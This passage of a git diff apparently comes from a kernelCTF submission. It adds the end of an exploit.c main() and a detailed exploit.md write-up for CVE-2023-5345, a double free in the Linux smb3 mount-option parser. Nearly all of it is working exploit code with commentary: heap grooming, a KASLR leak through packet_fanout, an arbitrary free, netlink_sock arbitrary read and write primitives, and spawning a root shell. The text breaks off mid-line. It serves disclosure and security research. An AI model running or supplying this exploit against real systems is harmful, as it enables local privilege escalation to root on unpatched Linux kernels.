+ int wake_fd = create_escalation_process(); + if (wake_fd < 0) + return EXIT_FAILURE; + + sleep(1); + + if (!pin_on_cpu(EXPLOIT_CPU)) + return EXIT_FAILURE; + + if (!setup_namespace()) + return EXIT_FAILURE; + + int packet_socket_fd; + key_serial_t packet_fanout_key; + while (!overlap_user_key_payload_with_packet_fanout(&packet_fanout_key, &packet_socket_fd)) { + ; + } + + struct packet_fanout_leak_data *leak = leak_packet_fanout(packet_fanout_key); + + /* + printf("sock: 0x%016lx\n", leak->packet_sock_addr); + printf("packet_rcv_fanout: 0x%016lx\n", leak->packet_rcv_fanout_addr); + printf("packet_fanout: 0x%016lx\n", leak->packet_fanout_addr); + printf("net: 0x%016lx\n", leak->net_addr); + printf("type: 0x%016lx\n", leak->type); + printf("dev: 0x%016lx\n", leak->dev_addr); + */ + + kernel_base = leak->packet_rcv_fanout_addr - PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT; + init_task += kernel_base; + init_cred += kernel_base; + init_fs += kernel_base; + netlink_sock_destruct += kernel_base; + + /* + printf("[+] kernel base: 0x%016lx\n", kernel_base); + printf("[+] init_task: 0x%016lx\n", init_task); + printf("[+] init_cred: 0x%016lx\n", init_cred); + printf("[+] init_fs: 0x%016lx\n", init_fs); + printf("[+] netlink_sock_destruct: 0x%016lx\n", netlink_sock_destruct); + */ + + while (!overlap_simple_xattr_payload_with_netlink_sock(packet_socket_fd, leak->packet_sock_addr, + leak->net_addr)) { + ; + } + + uint64_t privilege_escalation_task = find_task_by_name(PRIVILEGE_ESCALATION_TASK); + //printf("[+] privilege_escalation_task: 0x%016lx\n", privilege_escalation_task); + do_privilege_escalation(privilege_escalation_task); + wake_child_and_get_root_shell(wake_fd); +} diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.md b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.md new file mode 100644 index 00000000..f03fe397 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.md @@ -0,0 +1,1340 @@ +Exploit Details +=============== + +In the following, I explain the exploitation process to get flag on mitigation-6.1-v2 instance. This exploit method work on LTS instance too. + +# Summary + +At a high level the exploit performs the following: + +- Fork a child process. The exploit will escalate this child process to root. +- Overlap `struct user_key_payload` object and `struct packet_fanout` object. Leverage this to leak kernel base and dyn-kmalloc-2048 address. +- Leverage `struct packet_fanout` for arbitrarily free primitive. Use this primitive to overlap `struct netlink_sock` object with `value` field of `struct simple_xattr` object. +- Leverage `struct netlink_sock` for arbitrarily read. +- Leverage `struct netlink_sock` for arbitrarily write. + +# Step in detail + +## Step1: Initialization for exploit + +Before triggering the vulnerability, the exploit takes the following steps: + 1. Create privilege escalation process. + 2. Pinning the CPU. + 3. Setup namespace. + +### Step1.1: Create privilege escalation process +- [exploit.c#L632](./exploit.c#L632): + +```c +int wake_fd = create_escalation_process(); +if (wake_fd < 0) + return EXIT_FAILURE; + +sleep(1); +``` + +- [exploit.c#L607](./exploit.c#L607): +```c +int create_escalation_process(void) +{ + int wake_pipe[2]; + if (pipe(wake_pipe) < 0) { + perror("pipe"); + return -1; + } + + int pid = fork(); + if (pid < 0) { + perror("fork"); + return -1; + } + + if (pid == 0) { + wait_for_root_and_spawn_shell(wake_pipe[0]); + fprintf(stderr, "shouldn't happened\n"); + exit(1); + } + + return wake_pipe[1]; +} +``` + +- [exploit.c#L589](./exploit.c#L589): + +```c +void wait_for_root_and_spawn_shell(int wait_fd) +{ + if (!change_task_comm(PRIVILEGE_ESCALATION_TASK)) + return; + + int w; + read(wait_fd, &w, sizeof(int)); + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); +} +``` + +- [exploit.c#L48](./exploit.c#L48): + +```c +#define PRIVILEGE_ESCALATION_TASK "mitigation_pwn" +``` + +- Fork a child process and set this child process comm to "mitigation_pwn". +- Put the process to sleep by reading from pipe. +- The exploit will escalate this process to root and wake it up through pipe. + +### Step1.2: Pinning the CPU +- [exploit.c#L638](./exploit.c#L638): + +```c +if (!pin_on_cpu(EXPLOIT_CPU)) + return EXIT_FAILURE; +``` + +- [exploit.c#L128](./exploit.c#L128): + +```c +bool pin_on_cpu(int core_id) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) { + fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno)); + return false; + } + + return true; +} +``` + +- [exploit.c#L47](./exploit.c#L47): + +```c +#define EXPLOIT_CPU 0 +``` + +- Pinning the current task into CPU core 0 with `sched_setaffinity` syscall. This is to maintain the exploit context in the same core to utilize percpu slab cache and freelist. + +### Step1.3: Setup namespace +- [exploit.c#L641](./exploit.c#L641): + +```c +if (!setup_namespace()) + return EXIT_FAILURE; +``` + +- [exploit.c#L209](./exploit.c#L209): + +```c +bool setup_namespace(void) +{ + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWNET) < 0) { + perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)"); + return false; + } + + if (!write_to_file("/proc/self/setgroups", "deny")) + return false; + + if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) + return false; + + if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) + return false; + + mkdir(TMPFS_MOUNT_POINT, 0644); + if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) { + fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno)); + return false; + } + + if (!set_if_up("lo")) + return false; + + return true; +} +``` + +- [exploit.c#L187](./exploit.c#L187): + +```c +bool set_if_up(const char *ifname) +{ + int fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + perror("socket"); + return false; + } + + struct ifreq ifr; + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags |= IFF_UP; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) { + perror("ioctl-SIOCSIFFLAGS"); + close(fd); + return false; + } + + close(fd); + return true; +} +``` + +- Create and enter user/mount namespace with unshare syscall. This is necessary to trigger the vulnerability of the smbfs subsystem as an unprivileged user and mount useful filesystem. +- Mount tmpfs filesystem which can be used to allocate `struct simple_xattr`. +- Enter network namespace and bring loopback interface up. This will be useful later. + +## Step2: Build double free primitive +The primitive can be built by splitting the process to three steps: + 1. Allocate vulnerable object. + 2. Free vulnerable object the first time. + 3. Free vulnerable object the second time. + +### Step2.1: Allocate vulnerable object +- Exploit code [exploit.c#L240](./exploit.c#L240): + +```c +int prepare_double_free(int dyn_kmalloc_size) +{ + if (dyn_kmalloc_size <= 0 || dyn_kmalloc_size > 256) + return -1; + + int fsfd = syscall(SYS_fsopen, "smb3", 0); + if (fsfd < 0) { + fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno)); + return -1; + } + + char password[256]; + memset(password, 0x1, dyn_kmalloc_size - 1); + password[dyn_kmalloc_size-1] = 0; + if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) { + perror("fsconfig(FSCONFIG_SET_STRING)"); + close(fsfd); + return -1; + } + + return fsfd; +} +``` + +- Kernel code: + +```c +static int smb3_fs_context_parse_param(struct fs_context *fc, + struct fs_parameter *param) +{ + ... + switch (opt) { + case Opt_pass: + ... + + ctx->password = kstrdup(param->string, GFP_KERNEL); + if (ctx->password == NULL) { + cifs_errorf(fc, "OOM when copying password string\n"); + goto cifs_parse_mount_err; + } + break; + ... +} +``` + +- This step allocate `ctx->password` which is vulnerable object. + +### Step2.2: Free vulnerable object the first time +- Exploit code [exploit.c#L263](./exploit.c#L263): + +```c +static inline void trigger_first_free(int fsfd) +{ + syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0); +} +``` + +- Kernel code: + +```c +static int smb3_fs_context_parse_param(struct fs_context *fc, + struct fs_parameter *param) +{ + ... + switch (opt) { + ... + + case Opt_max_credits: + if (result.uint_32 < 20 || result.uint_32 > 60000) { + cifs_errorf(fc, "%s: Invalid max_credits value\n", + __func__); + goto cifs_parse_mount_err; + } + + ... + } + ... + cifs_parse_mount_err: + kfree_sensitive(ctx->password); + return -EINVAL; +} +``` + +### Step2.3: Free vulnerable object the second time +- Exploit code [exploit.c#L268](./exploit.c#L268): + +```c +static inline void trigger_second_free(int fsfd) +{ + close(fsfd); +} +``` + +- Kernel code: + +```c +void +smb3_cleanup_fs_context_contents(struct smb3_fs_context *ctx) +{ + ... + kfree_sensitive(ctx->password); + ctx->password = NULL; + ... +} +``` + +## Step3: Overlap `struct user_key_payload` object with `struct packet_fanout` object + +Related kernel structs: + +```c +struct user_key_payload { + struct rcu_head rcu; /* RCU destructor */ + unsigned short datalen; /* length of this data */ + char data[] __aligned(__alignof__(u64)); /* actual data */ +}; +``` + +```c +struct packet_fanout { + possible_net_t net; + unsigned int num_members; + u32 max_num_members; + u16 id; + u8 type; + u8 flags; + union { + atomic_t rr_cur; + struct bpf_prog __rcu *bpf_prog; + }; + struct list_head list; + spinlock_t lock; + refcount_t sk_ref; + struct packet_type prot_hook ____cacheline_aligned_in_smp; + struct sock __rcu *arr[]; +}; +``` + +```c +struct packet_type { + __be16 type; /* This is really htons(ether_type). */ + bool ignore_outgoing; + struct net_device *dev; /* NULL is wildcarded here */ + netdevice_tracker dev_tracker; + int (*func) (struct sk_buff *, + struct net_device *, + struct packet_type *, + struct net_device *); + void (*list_func) (struct list_head *, + struct packet_type *, + struct net_device *); + bool (*id_match)(struct packet_type *ptype, + struct sock *sk); + struct net *af_packet_net; + void *af_packet_priv; + struct list_head list; +}; +``` + +- `struct packet_fanout` object has many interesting pointers. +- `struct user_key_payload` object can be allocated on dyn-kmalloc-32 -> dyn-kmalloc-8192. +- `struct packet_fanout` object can be allocated on dyn-kmalloc-256 -> dyn-kmalloc-8192. +- The double free primitive can only be triggered on dyn-kmalloc-8 -> dyn-kmalloc-256. Therefore, dyn-kmalloc-256 is the target heap. +- The `id` field of `struct packet_fanout` object has the same offset with the `datalen` field of `struct user_key_payload` object. +- The `id` field of `struct packet_fanout` object is controllable. +- Idea: set `id` field of `struct packet_fanout` object to `256 - sizeof(struct user_key_payload)`. This ensure when the exploit leverage `struct user_key_payload` object to leak, i can guaranteed it only read "in object" and never touch out of slab region which will make mitigation kernel crash. + +This step is implemented by function `overlap_user_key_payload_with_packet_fanout` that do the following things: + 1. Create and bind packet socket. + 2. Use the double free primitive to free `struct user_key_payload` object. + 3. Reclaim with `struct packet_fanout` object. + 4. Verify overlap success. + 5. Save stuffs. + +### Step3.1: Create and bind packet socket +- [exploit.c#L343](./exploit.c#L343): + +```c +int packet_socket_fd = packet_socket_create_and_bind(); +if (packet_socket_fd < 0) + return false; +``` + +- [exploit.c#L300](./exploit.c#L300): + +```c +int packet_socket_create_and_bind(void) +{ + int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd < 0) { + perror("socket(AF_PACKET, SOCK_RAW)"); + return -1; + } + + struct sockaddr_ll addr; + memset(&addr, 0, sizeof(addr)); + addr.sll_family = AF_PACKET; + addr.sll_ifindex = if_nametoindex("lo"); + + if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) { + perror("bind packet socket at lo interface"); + close(fd); + return -1; + } + + return fd; +} +``` + +- Useful kernel code path when call `bind`: + +```c +static int packet_do_bind(struct sock *sk, const char *name, int ifindex, + __be16 proto) +{ + ... + } else if (ifindex) { + dev = dev_get_by_index_rcu(sock_net(sk), ifindex); // get the interface from the index the exploit passed in `addr.sll_ifindex` + if (!dev) { + ret = -ENODEV; + goto out_unlock; + } + ... + + if (!unlisted && (!dev || (dev->flags & IFF_UP))) { // i already up the interface in `setup_namespace` in step1. + register_prot_hook(sk); + } + ... +} +``` + +```c +static void register_prot_hook(struct sock *sk) +{ + lockdep_assert_held_once(&pkt_sk(sk)->bind_lock); + __register_prot_hook(sk); +} +``` + +```c +static void __register_prot_hook(struct sock *sk) +{ + struct packet_sock *po = pkt_sk(sk); + + if (!po->running) { + if (po->fanout) + __fanout_link(sk, po); + else + dev_add_pack(&po->prot_hook); + + sock_hold(sk); + po->running = 1; // useful for further exploitation process. + } +} +``` + +- I want to set `po->running` value to `1`. This will be useful later on. + +### Step3.2: Use the double free primitive to free `struct user_key_payload` object +- [exploit.c#L347](./exploit.c#L347): + +```c +int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256); +if (dyn_kmalloc_256_double_free_fsfd < 0) + goto err; + +get_full_timesplice(); +trigger_first_free(dyn_kmalloc_256_double_free_fsfd); + +char tmp[256] = {}; +key_serial_t key = user_key_payload_alloc( + "dyn_kmalloc_256", + tmp, + DYN_KMALLOC_192 + 1 - USER_KEY_PAYLOAD_STRUCT_SIZE); + +if (key < 0) + goto err; + +get_full_timesplice(); +trigger_second_free(dyn_kmalloc_256_double_free_fsfd); +``` + +- [exploit.c#L273](./exploit.c#L273): + +```c +key_serial_t user_key_payload_alloc(const char *desc, void *data, int n) +{ + key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING); + if (key < 0) { + perror("add_key"); + return -1; + } + + return key; +} +``` + +- [exploit.c#L30](./exploit.c#L30): + +```c +#define DYN_KMALLOC_192 192 +``` + +- [exploit.c#L37](./exploit.c#L37): + +```c +#define USER_KEY_PAYLOAD_STRUCT_SIZE 24 +``` + +### Step3.3: Reclaim with `struct packet_fanout` object + +- [exploit.c#L367](./exploit.c#L367): + +```c +if (!packet_fanout_alloc(packet_socket_fd, overwrite_user_key_payload_datalen, 1)) + goto err1; +``` + +- [exploit.c#L327](./exploit.c#L327): + +```c +static inline bool packet_fanout_alloc(int packet_socket_fd, uint16_t id, uint32_t max_num_members) +{ + struct fanout_args fanout_args = { + .type_flags = PACKET_FANOUT_HASH, .id = id, .max_num_members = max_num_members + }; + + if (setsockopt(packet_socket_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args, sizeof(fanout_args)) < 0) { + perror("setsockopt(PACKET_FANOUT)"); + return false; + } + + return true; +} +``` + +- [exploit.c#L363](./exploit.c#L363): + +```c +uint16_t overwrite_user_key_payload_datalen = DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE +``` + +- Kernel code path that perform `struct packet_fanout` allocation: + +```c +static int +packet_setsockopt(struct socket *sock, int level, int optname, sockptr_t optval, + unsigned int optlen) +{ + ... + switch (optname) { + ... + case PACKET_FANOUT: + { + struct fanout_args args = { 0 }; + + if (optlen != sizeof(int) && optlen != sizeof(args)) + return -EINVAL; + if (copy_from_sockptr(&args, optval, optlen)) + return -EFAULT; + + return fanout_add(sk, &args); + } + ... + } + ... +} +``` + +```c +static int fanout_add(struct sock *sk, struct fanout_args *args) +{ + ... + struct packet_fanout *f, *match; + ... + } else { + if (args->max_num_members > PACKET_FANOUT_MAX) + goto out; + if (!args->max_num_members) + args->max_num_members = 256; + err = -ENOMEM; + match = kvzalloc(struct_size(match, arr, args->max_num_members), + GFP_KERNEL); // args->max_num_members: user controllable + if (!match) + goto out; + write_pnet(&match->net, sock_net(sk)); + match->id = id; // id: user controllable + match->type = type; + match->flags = flags; + INIT_LIST_HEAD(&match->list); + spin_lock_init(&match->lock); + refcount_set(&match->sk_ref, 0); + fanout_init_data(match); + match->prot_hook.type = po->prot_hook.type; + match->prot_hook.dev = po->prot_hook.dev; + match->prot_hook.func = packet_rcv_fanout; // function pointer + match->prot_hook.af_packet_priv = match; + match->prot_hook.af_packet_net = read_pnet(&match->net); + match->prot_hook.id_match = match_fanout_group; // function pointer + match->max_num_members = args->max_num_members; + list_add(&match->list, &fanout_list); + } + ... + + // po->running is set in step3.1 + if (po->running && + match->type == type && + match->prot_hook.type == po->prot_hook.type && + match->prot_hook.dev == po->prot_hook.dev) { + err = -ENOSPC; + if (refcount_read(&match->sk_ref) < match->max_num_members) { + __dev_remove_pack(&po->prot_hook); + + WRITE_ONCE(po->fanout, match); + + po->rollover = rollover; + rollover = NULL; + refcount_set(&match->sk_ref, refcount_read(&match->sk_ref) + 1); + __fanout_link(sk, po); // when the `struct packet_fanout` object is created for the first time, sk and po is the same. + err = 0; + } + } + + ... +} +``` + +```c +static void __fanout_link(struct sock *sk, struct packet_sock *po) +{ + struct packet_fanout *f = po->fanout; + + spin_lock(&f->lock); + rcu_assign_pointer(f->arr[f->num_members], sk); // leak this f->arr will allow me to leak `struct packet_sock` address. + smp_wmb(); + f->num_members++; + if (f->num_members == 1) + dev_add_pack(&f->prot_hook); + spin_unlock(&f->lock); +} +``` + +- After this step, `struct user_key_payload` object and `struct packet_fanout` overlapped on dyn-kmalloc-256. The `datalen` field of `struct user_key_payload` object has the value of the `id` field of `struct packet_fanout` object. +- To bypass KASLR, i can chose to leak the value of `match->prot_hook.func` or `match->prot_hook.id_match`. They are function pointers. +- Because this `struct packet_fanout` object is newly created, `match->arr[0]` will contain address of the `struct packet_sock` object represent the socket i created on step3.1. +- `struct packet_sock` object is allocated on dyn-kmalloc-2048. This will be useful later on. + +### Step3.4: Verify overlap success + +- [exploit.c#L370](./exploit.c#L370): +```c +long size_ret = user_key_payload_read(key, NULL, overwrite_user_key_payload_datalen); +if (size_ret != overwrite_user_key_payload_datalen) { + fprintf(stderr, "overlap failed\n"); + goto err1; +} +``` + +- The reclaim phase is unlikely to fail. This is kind of panic check. Skip it is ok. + +### Step3.5: Save stuffs. + +- [exploit.c#L376](./exploit.c#L376): +```c +*overlap_key = key; +*fd = packet_socket_fd; +``` + +- Save key to perform leak later. +- Save file descriptor to interact with current packet socket. + +## Step4: Perform leak + +- [exploit.c#L650](./exploit.c#L650): + +```c +struct packet_fanout_leak_data *leak = leak_packet_fanout(packet_fanout_key); +``` + +- [exploit.c#L387](./exploit.c#L387): + +```c +struct packet_fanout_leak_data *leak_packet_fanout(key_serial_t key) +{ + struct packet_fanout_leak_data *result = malloc(sizeof(*result)); + if (!result) { + perror("malloc packet_fanout_leak_data"); + return NULL; + } + + uint8_t leak_buf[DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE] = {}; + user_key_payload_read(key, leak_buf, sizeof(leak_buf)); + + struct packet_fanout *packet_fanout = (struct packet_fanout*)(leak_buf - USER_KEY_PAYLOAD_STRUCT_SIZE); + result->net_addr = packet_fanout->prot_hook.af_packet_net; + result->packet_rcv_fanout_addr = packet_fanout->prot_hook.func; + result->packet_fanout_addr = packet_fanout->prot_hook.af_packet_priv; + result->packet_sock_addr = *(packet_fanout->arr); + result->type = packet_fanout->prot_hook.type; + result->dev_addr = packet_fanout->prot_hook.dev; + return result; +} +``` + +- [exploit.c#L75](./exploit.c#L75): + +```c +struct packet_fanout_leak_data { + uint64_t net_addr; + uint64_t packet_rcv_fanout_addr; + uint64_t packet_fanout_addr; + uint64_t packet_sock_addr; + uint64_t type; + uint64_t dev_addr; +}; +``` + +## Step5: Calculate kernel base and other kernel addresses +- [exploit.c#L661](./exploit.c#L661): + +```c +kernel_base = leak->packet_rcv_fanout_addr - PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT; +init_task += kernel_base; +init_cred += kernel_base; +init_fs += kernel_base; +netlink_sock_destruct += kernel_base; +``` + +- [exploit.c#L49](./exploit.c#L49): + +```c +#define PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT 0xf0da90 +``` + +## Step6: Overlap between `value` field of `struct simple_xattr` object and `struct netlink_sock` object + +- [exploit.c#L675](./exploit.c#L675): + +```c +while (!overlap_simple_xattr_payload_with_netlink_sock(packet_socket_fd, leak->packet_sock_addr, + leak->net_addr)) { + ; +} +``` + +- Related kernel code: + +```c +static int fanout_add(struct sock *sk, struct fanout_args *args) +{ + struct packet_rollover *rollover = NULL; + struct packet_sock *po = pkt_sk(sk); + u16 type_flags = args->type_flags; // controllable + struct packet_fanout *f, *match; + u8 type = type_flags & 0xff; + u8 flags = type_flags >> 8; + u16 id = args->id; + int err; + + ... + + match = NULL; + // traverse linked list to find match packet_fanout + list_for_each_entry(f, &fanout_list, list) { + if (f->id == id && + read_pnet(&f->net) == sock_net(sk)) { + match = f; + break; + } + } + + if (match) { + // both flags and args->max_num_members are passed from userspace + if (match->flags != flags) + goto out; + if (args->max_num_members && + args->max_num_members != match->max_num_members) + goto out; + } + + ... + + spin_lock(&po->bind_lock); + // do not bind to keep po->running == 0 + if (po->running && + match->type == type && + match->prot_hook.type == po->prot_hook.type && + match->prot_hook.dev == po->prot_hook.dev) { + err = -ENOSPC; + if (refcount_read(&match->sk_ref) < match->max_num_members) { + __dev_remove_pack(&po->prot_hook); + + WRITE_ONCE(po->fanout, match); + + po->rollover = rollover; + rollover = NULL; + refcount_set(&match->sk_ref, refcount_read(&match->sk_ref) + 1); + __fanout_link(sk, po); + err = 0; + } + } + spin_unlock(&po->bind_lock); + + if (err && !refcount_read(&match->sk_ref)) { + list_del(&match->list); + // leverage this to get abr free + kvfree(match); + } + + ... +} +``` + +Idea: + - Close the packet socket that the exploit created before. This cause `struct packet_sock` object freed. I know the address of this object. It's passed as `leak->packet_sock_addr`. Remember, `struct packet_sock` object is allocated on dyn-kmalloc-2048. + - Use `struct simple_xattr` object to reclaim the `struct packet_sock` object. This `struct simple_xattr` object will have `value` field contain a fake `struct packet_fanout` object. Let's call this fake object address: A1. + - Create and bind new packet socket. Use this packet socket to create `struct packet_fanout` object in dyn-kmalloc-256. Use the double free primitive to free this `struct packet_fanout` object. + - Reclaim the freed `struct packet_fanout` object with `list.next` field set to A1's list offset. Let's call this freed `struct packet_fanout` object address: A2. + - Now, i successfully created a linked list in the kernel like this: &fanout_list -> &(A2.list) -> &(A1.list). + - Trigger kernel code path `fanout_add` in such a way that `A1` is returned after `list_for_each_entry(f, &fanout_list, list)`. + - Now, `match` will contain `A1`. At the end, when `kvfree(match)` is called, the exploit acheived arbitrarily free. There are some code between which are very easy to skip. + - I reclaim the freed slot by open netlink socket. This will allocate `struct netlink_sock` object that is also allocated on dyn-kmalloc-2048. I will leverage this socket to perform arbitrarily read and arbitrarily write. + +Details: +- [exploit.c#L411](./exploit.c#L411): + +```c +if (!create_file(FAKE_PACKET_FANOUT_FILE_PATH)) + return false; +``` + +- Create a file in tmpfs mountpoint. This file path will be used to allocate `struct simple_xattr` object [exploit.c#L175](./exploit.c#L175): + +```c +bool create_file(const char *path) +{ + int fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd < 0) { + fprintf(stderr, "create file %s failed: %s\n", path, strerror(errno)); + return false; + } + + close(fd); + return true; +} +``` + +- [exploit.c#L34](./exploit.c#L34): + +```c +#define FAKE_PACKET_FANOUT_FILE_PATH "/tmp/tmpfs_mountpoint/fake_packet_fanout_and_netlink_sock" +``` + +- Prepare fake `struct packet_fanout` object [exploit.c#L414](./exploit.c#414): + +```c +uint64_t fake_packet_fanout_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE; +uint8_t fake_packet_fanout_buffer[DYN_KMALLOC_1024] = {}; +struct packet_fanout *f = (struct packet_fanout*)fake_packet_fanout_buffer; +f->net = net; +f->flags = PACKET_FANOUT_HASH; +f->id = 0xcafe; +f->max_num_members = 1; +f->list.prev = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); +f->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); +``` + +- fake_packet_fanout_addr: This is `A1` discuss in idea. +- `net`: use the net value that is leaked from `struct packet_fanout` object before. +- `flags`: other value is ok. Make sure later steps match the value set here. +- `id`: other value is ok. Make sure later steps match the value set here. +- `max_num_members`: other value is ok. Make sure later steps match the value set here. +- `list.prev`: &(A1->list), `list.next`: &(A1->list). This ensure when `list_del(&match->list)` is called, `list_del` do not touch the prev and the next object in the list. + +- Free `struct packet_sock` object and `struct packet_fanout` object [exploit.c#L424](./exploit.c#L424): + +```c +packet_socket_destroy(dyn_kmalloc_2048_packet_socket_fd); +``` +- [exploit.c#L322](./exploit.c#L322): + +```c +void packet_socket_destroy(int fd) +{ + close(fd); +} +``` + +- Reclaim `struct packet_sock` object slot with `struct simple_xattr` object contain fake `struct packet_fanout` object [exploit.c#L425](./exploit.c#L425): + +```c + if (setxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", fake_packet_fanout_buffer, + 1024, 0) < 0) { + fprintf(stderr, "fake packet fanout failed\n"); + return false; + } +``` + +- Allocate victim `struct packet_fanout` object. This is `A2` in the idea [exploit.c#L431](./exploit.c#L431): + +```c + int build_fake_packet_fanout_list_fd = packet_socket_create_and_bind(); + if (build_fake_packet_fanout_list_fd < 0) + return false; + + int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256); + if (dyn_kmalloc_256_double_free_fsfd < 0) + return false; + + get_full_timesplice(); + trigger_first_free(dyn_kmalloc_256_double_free_fsfd); + if (!packet_fanout_alloc(build_fake_packet_fanout_list_fd, 0xdead, 1)) + return false; +``` + +- 0xdead is id of `struct packet_fanout` object. Other value is ok as long as it different from the id of A1. + +- Prepare data to overwrite `struct packet_fanout` object [exploit.c#L444](./exploit.c#L444): + +```c +uint8_t fake_packet_fanout_list_buf[192] = {}; +struct packet_fanout *f1 = fake_packet_fanout_list_buf - USER_KEY_PAYLOAD_STRUCT_SIZE; +f1->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); +``` + +- Overwrite `struct packet_fanout` object [exploit.c#L448](./exploit.c#L448): + +```c +trigger_second_free(dyn_kmalloc_256_double_free_fsfd); +user_key_payload_alloc("fake_packet_fanout_list", fake_packet_fanout_list_buf, 192); +``` + +- Trigger arbitrarily free [exploit.c#L451](./exploit.c#L451): + +```c +int trigger_simple_xattr_payload_free_fd = socket(AF_PACKET, SOCK_RAW, 0); +if (trigger_simple_xattr_payload_free_fd < 0) + return false; + +struct fanout_args fanout_args = { + .type_flags = PACKET_FANOUT_HASH, + .id = 0xcafe, + .max_num_members = 1 +}; + +get_full_timesplice(); +setsockopt(trigger_simple_xattr_payload_free_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args, + sizeof(fanout_args)); +``` + +- I do not bind this socket. Therefore, `po->running` is not set and i can skip the code path + +```c +if (po->running && + match->type == type && + match->prot_hook.type == po->prot_hook.type && + match->prot_hook.dev == po->prot_hook.dev) { +``` + +- Reclaim arbitrarily free slot with `struct netlink_sock` object [exploit.c#L469](./exploit.c#L469): + +```c +primitive_netlink_socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK); +``` + +- Leak `struct netlink_sock` object [exploit.c#L473](./exploit.c#L473): + +```c +if (getxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", netlink_sock_leak_buf, 1024) < 0) + return false; +``` + +- Save `struct netlink_sock` object address [exploit.c#L490](./exploit.c#L490): + +```c +netlink_sock_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE; +``` + +- Save `sk_security` address [exploit.c#L491](./exploit.c#L491): + +```c +netlink_sock_sk_security_addr = *(uint64_t*)(netlink_sock_leak_buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK); +``` + +- When Apparmor is enabled, you need valid `sk_security` pointer to fake `struct netlink_sock` object. This time, i can reuse the value leaked directly from `struct netlink_sock` object. + +- unnecessary step [exploit.c#L497](./exploit.c#L497): + +```c +char netlink_sock_fake_buf[1024] = {}; +get_full_timesplice(); +removexattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout"); +setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", netlink_sock_fake_buf, 1024, 0); +``` + +- I just want to use "security.fake_netlink_sock" name in the future. + +## Step7: Build arbitrarily read primitive + +- Related kernel code: +```c +static int netlink_getsockopt(struct socket *sock, int level, int optname, + char __user *optval, int __user *optlen) +{ + struct sock *sk = sock->sk; + struct netlink_sock *nlk = nlk_sk(sk); + unsigned int flag; + int len, val; + + if (level != SOL_NETLINK) + return -ENOPROTOOPT; + + if (get_user(len, optlen)) + return -EFAULT; + if (len < 0) + return -EINVAL; + + switch (optname) { + ... + case NETLINK_LIST_MEMBERSHIPS: { + int pos, idx, shift, err = 0; + + netlink_lock_table(); + for (pos = 0; pos * 8 < nlk->ngroups; pos += sizeof(u32)) { + if (len - pos < sizeof(u32)) + break; + + idx = pos / sizeof(unsigned long); + shift = (pos % sizeof(unsigned long)) * 8; + if (put_user((u32)(nlk->groups[idx] >> shift), + (u32 __user *)(optval + pos))) { + err = -EFAULT; + break; + } + } + if (put_user(ALIGN(BITS_TO_BYTES(nlk->ngroups), sizeof(u32)), optlen)) + err = -EFAULT; + netlink_unlock_table(); + return err; + } + ... + } +} +``` + +- `nlk->ngroups`: read size in bits. +- `nlk->groups`: address to read from. + +- Build primitive [exploit.c#L502](./exploit.c#L502): + +```c +void *abr_read(uint64_t addr, int bytes) +{ + if (bytes % sizeof(uint32_t) != 0) + bytes += sizeof(uint32_t) - (bytes % sizeof(uint32_t)); + + void *result = malloc(bytes); + if (!result) { + perror("malloc"); + return NULL; + } + + uint8_t fake_netlink_sock_buf[1024] = {}; + struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf; + *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr; + *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = bytes * 8; + *(uint64_t*)(nlk->buf + 